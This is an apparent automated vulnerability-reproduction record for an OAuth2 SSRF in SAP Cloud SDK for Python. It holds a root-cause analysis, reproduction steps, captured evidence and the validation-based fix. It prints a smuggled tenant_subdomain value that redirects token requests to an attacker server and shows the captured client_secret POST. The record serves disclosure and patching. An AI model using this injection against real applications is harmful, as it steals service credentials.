{"repro_id":"REPRO-2026-00387","version":6,"title":"SAP Cloud SDK for Python is vulnerable to OAuth2 SSRF that can exfiltrate client credentials when tenant_subdomain is attacker-controlled.","repro_type":"security","status":"published","severity":"critical","cvss_score":10.0,"description":"SAP Cloud SDK for Python contains an OAuth2 server-side request forgery (SSRF) issue in multi-tenant BTP applications. If an attacker can influence the `tenant_subdomain` parameter, OAuth2 token requests can be redirected to an attacker-controlled server, resulting in client credential exfiltration.","root_cause":"# CVE-2026-89111 — Root Cause Analysis\n\n## Summary\nSAP Cloud SDK for Python (`sap-cloud-sdk` on PyPI) contains an OAuth2\nserver-side request forgery (SSRF) vulnerability in its multi-tenant token\nhandling. When a caller supplies a `tenant_subdomain`, the SDK derives the\nper-tenant OAuth2 token URL by performing an unvalidated string replacement of\nthe provider identity zone inside the configured token URL\n(`token_url.replace(identityzone, tenant_subdomain)`). An attacker who controls\n`tenant_subdomain` can therefore rewrite the token endpoint host to an\nattacker-controlled server, causing the SDK to POST the OAuth2\n`client_id`/`client_secret` to the attacker — credential exfiltration.\n\n## Impact\n- Package/component: `sap-cloud-sdk` (PyPI), `sap_cloud_sdk.destination._http.TokenProvider.get_token()`\n  (the same pattern was also fixed in `sap_cloud_sdk/dms/_auth.py` and\n  `sap_cloud_sdk/agentgateway/agw_client.py`).\n- Affected versions: `< 0.45.2`; patched in `0.45.2`.\n- Risk: Critical (CVSS 10.0, `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`,\n  CWE-918). Consequences: theft of OAuth2 client credentials for the BTP\n  Destination/DMS/Agent-Gateway service bindings, enabling downstream\n  unauthorized access within the client's roles and scopes.\n\n## Impact Parity\n- Disclosed/claimed maximum impact: SSRF with OAuth2 client-credential\n  exfiltration to an attacker-controlled server.\n- Reproduced impact from this run: full SSRF with credential exfiltration —\n  the vulnerable SDK (0.45.1) sent a live `POST` containing\n  `client_id` and `client_secret` to the attacker-controlled HTTPS server and\n  accepted the attacker-issued access token.\n- Parity: **full**.\n- Not demonstrated: none beyond the claim (no code execution is claimed or\n  required; the impact class is SSRF / credential disclosure).\n\n## Root Cause\nIn `sap_cloud_sdk/destination/_http.py` (vulnerable 0.45.1),\n`TokenProvider.get_token()` contains:\n\n```python\nif tenant_subdomain:\n    try:\n        token_url = token_url.replace(str(identityzone), tenant_subdomain)\n    except Exception:\n        token_url = self._config.token_url\n```\n\n`tenant_subdomain` is concatenated into the URL **without any validation**.\nWith a configured provider token URL such as\n`https://provider-zone.authentication.eu10.hana.ondemand.com/oauth/token`\n(`identityzone = \"provider-zone\"`), an attacker value of\n`127.0.0.1:<port>/capture?` produces\n`https://127.0.0.1:<port>/capture?.authentication.eu10.hana.ondemand.com/oauth/token`\n— the host becomes the attacker's server and the remainder of the legitimate\nURL is demoted into the query string. The subsequent\n`OAuth2Session.fetch_token()` then POSTs\n`grant_type=client_credentials&client_id=...&client_secret=...` to the\nattacker.\n\nThe same unvalidated `replace()` pattern existed in\n`sap_cloud_sdk/dms/_auth.py::_resolve_token_url()` and the agent-gateway\nclient's tenant subdomain handling.\n\nFix (0.45.2): a new module `sap_cloud_sdk/core/_tenant.py` adds\n`_validate_tenant_subdomain()`, which enforces a single RFC 1123 DNS label\n(`^[A-Za-z0-9](?:[A-Za-z0-9\\-]{0,61}[A-Za-z0-9])?$`) and raises `ValueError`\nbefore any URL substitution, in all three affected call sites.\nAdvisory: GHSA-4mv3-jxxm-9cx2\n(<https://github.com/SAP/cloud-sdk-python/security/advisories/GHSA-4mv3-jxxm-9cx2>).\n\n## Reproduction Steps\n1. `bundle/repro/reproduction_steps.sh` (helpers:\n   `bundle/repro/attacker_server.py`, `bundle/repro/harness.py`).\n2. The script:\n   - downloads the pinned PyPI wheels `sap-cloud-sdk==0.45.1` (vulnerable) and\n     `sap-cloud-sdk==0.45.2` (fixed) and records their SHA-256;\n   - creates a venv and installs the vulnerable wheel with its real\n     dependency tree;\n   - starts an attacker-controlled HTTPS capture server\n     (`attacker_server.py`, self-signed cert trusted via `REQUESTS_CA_BUNDLE`)\n     that logs every inbound request and answers with a valid token response;\n   - runs `harness.py`, which calls the real\n     `TokenProvider.get_token(tenant_subdomain=\"127.0.0.1:<port>/capture?\")`;\n   - verifies the captured request contains the client credentials;\n   - force-reinstalls 0.45.2 and repeats: the fixed SDK must raise\n     `ValueError: Invalid tenant_subdomain` and send nothing.\n3. Expected evidence: `proof_vuln_capture.jsonl` contains a POST whose body\n   includes `client_secret=TOP-SECRET-CLIENT-SECRET`, and the vulnerable\n   harness returns `ATTACKER_ISSUED_TOKEN`; the fixed harness reports\n   `rejected` and `proof_fixed_capture.jsonl` is empty.\n\n## Evidence\n- `bundle/logs/reproduction_steps.log` — full run transcript.\n- `bundle/logs/proof_vuln_capture.jsonl` — attacker-server capture of the\n  credential-bearing POST, e.g.:\n  `POST /capture?.authentication.eu10.hana.ondemand.com/oauth/token`\n  with body\n  `grant_type=client_credentials&client_id=sb-destination-client%21t0&client_secret=TOP-SECRET-CLIENT-SECRET`\n  (Host: `127.0.0.1:<port>` — attacker server, not the SAP endpoint).\n- `bundle/logs/harness_vuln_result.json` —\n  `{\"sdk_version\": \"0.45.1\", \"status\": \"token_returned\", \"token\": \"ATTACKER_ISSUED_TOKEN\"}`.\n- `bundle/logs/harness_fixed_result.json` —\n  `{\"sdk_version\": \"0.45.2\", \"status\": \"rejected\", \"error\": \"Invalid tenant_subdomain: '127.0.0.1:<port>/capture?'\"}`.\n- `bundle/logs/proof_fixed_capture.jsonl` — empty (no outbound request).\n- `bundle/repro/runtime_manifest.json` — entrypoint, target identity\n  (wheel SHA-256), and per-artifact SHA-256 hashes.\n- Environment: Python 3.14 venv, real `sap-cloud-sdk` wheels from PyPI,\n  OpenSSL 3.5.5 self-signed cert for the attacker HTTPS endpoint.\n\n## Recommendations / Next Steps\n- Upgrade to `sap-cloud-sdk >= 0.45.2` (and prefer a currently validated\n  release; independent reporting noted validation gaps in 0.53.0–0.55.0 with\n  validation restored in 0.55.1).\n- The 0.45.2 fix approach (RFC 1123 label validation before substitution) is\n  correct; defense-in-depth would additionally rebuild the URL by replacing\n  only the hostname subcomponent instead of a free-text `str.replace` over the\n  whole URL.\n- Applications should validate `tenant_subdomain` against an allowlist of\n  registered tenants and monitor/alert on outbound token requests to\n  unexpected hosts; rotate credentials suspected of exposure.\n\n## Additional Notes\n- Idempotency: the script reuses its venv/wheels/certs when present and\n  re-verifies versions each run; it was executed twice consecutively, both\n  runs `RESULT: CONFIRMED` (exit 0).\n- The lab uses `https://127.0.0.1:<port>` as the attacker host with a\n  self-signed cert trusted only inside the test process\n  (`REQUESTS_CA_BUNDLE`), keeping the OAuth2 transport HTTPS exactly as in\n  production (oauthlib enforces HTTPS; no security feature was disabled).\n- The vulnerable surface is a library API (`claimed_surface=library_api`,\n  `entrypoint_kind=function_call`), so a direct call into the real installed\n  SDK is the production code path; no mock or reimplementation is used.\n","cve_id":"CVE-2026-89111","cwe_id":"CWE-918 Server-Side Request Forgery (SSRF)","source_url":"https://github.com/advisories/ghsa-m3j7-wp2j-mhc3","package":{"name":"SAP/cloud-sdk-python","ecosystem":"PyPI","affected_versions":"< 0.45.2 (includes 0.36.1 and 0.36.2 which lack the check)","fixed_version":"0.45.2"},"reproduced_at":"2026-10-15T13:44:20.256861+00:00","duration_secs":2424.0,"tool_calls":155,"handoffs":2,"total_cost_usd":2.815526,"agent_costs":{"claim_matcher":0.013788,"judge":0.279063,"learning_policy":0.016756,"repro":1.285303,"support":0.079075,"vuln_variant":1.141541},"cost_breakdown":{"claim_matcher":{"gpt-5.4-mini-2026-03-17":0.013788},"judge":{"gpt-5.6-sol":0.279063},"learning_policy":{"gpt-5.4-mini-2026-03-17":0.016756},"repro":{"accounts/fireworks/models/kimi-k3":1.285303},"support":{"accounts/fireworks/models/kimi-k3":0.079075},"vuln_variant":{"accounts/fireworks/models/kimi-k3":1.141541}},"vulnerable_version_variant_outcome":"unknown","fix_bypass_outcome":"unknown","variant_disclosure_state":"unknown","quality":{"confidence":"high","idempotent_verified":false,"community_verifications":0},"evidence":{"workflow":{"profile":"known_vulnerability","schema_version":2,"stages":["support","claim_contract","repro","judge","vuln_variant"]}},"environment":{"sandbox_image":"ghcr.io/n3mes1s/pruva-sandbox@sha256:8096b2518d6022e13d68f885c3b8ded6b4fe607098b1a1ccbfb99abc004d1dc1"},"published_at":"2026-10-15T13:44:20.978942+00:00","retracted":false,"artifacts":[{"path":"bundle/repro/rca_report.md","filename":"rca_report.md","size":6964,"category":"analysis"},{"path":"bundle/repro/reproduction_steps.sh","filename":"reproduction_steps.sh","size":9513,"category":"reproduction_script"},{"path":"bundle/logs/attacker_server.log","filename":"attacker_server.log","size":53,"category":"log"},{"path":"bundle/logs/harness_fixed_result.json","filename":"harness_fixed_result.json","size":120,"category":"other"},{"path":"bundle/logs/harness_vuln_result.json","filename":"harness_vuln_result.json","size":95,"category":"other"},{"path":"bundle/logs/healthcheck.txt","filename":"healthcheck.txt","size":4,"category":"other"},{"path":"bundle/logs/proof_fixed_capture.jsonl","filename":"proof_fixed_capture.jsonl","size":0,"category":"other"},{"path":"bundle/logs/proof_vuln_capture.jsonl","filename":"proof_vuln_capture.jsonl","size":465,"category":"other"},{"path":"bundle/logs/reproduction_steps.log","filename":"reproduction_steps.log","size":6114,"category":"log"},{"path":"bundle/repro/attacker_server.py","filename":"attacker_server.py","size":2002,"category":"script"},{"path":"bundle/repro/harness.py","filename":"harness.py","size":2066,"category":"script"},{"path":"bundle/repro/runtime_manifest.json","filename":"runtime_manifest.json","size":1689,"category":"other"},{"path":"bundle/repro/validation_verdict.json","filename":"validation_verdict.json","size":1200,"category":"other"}]}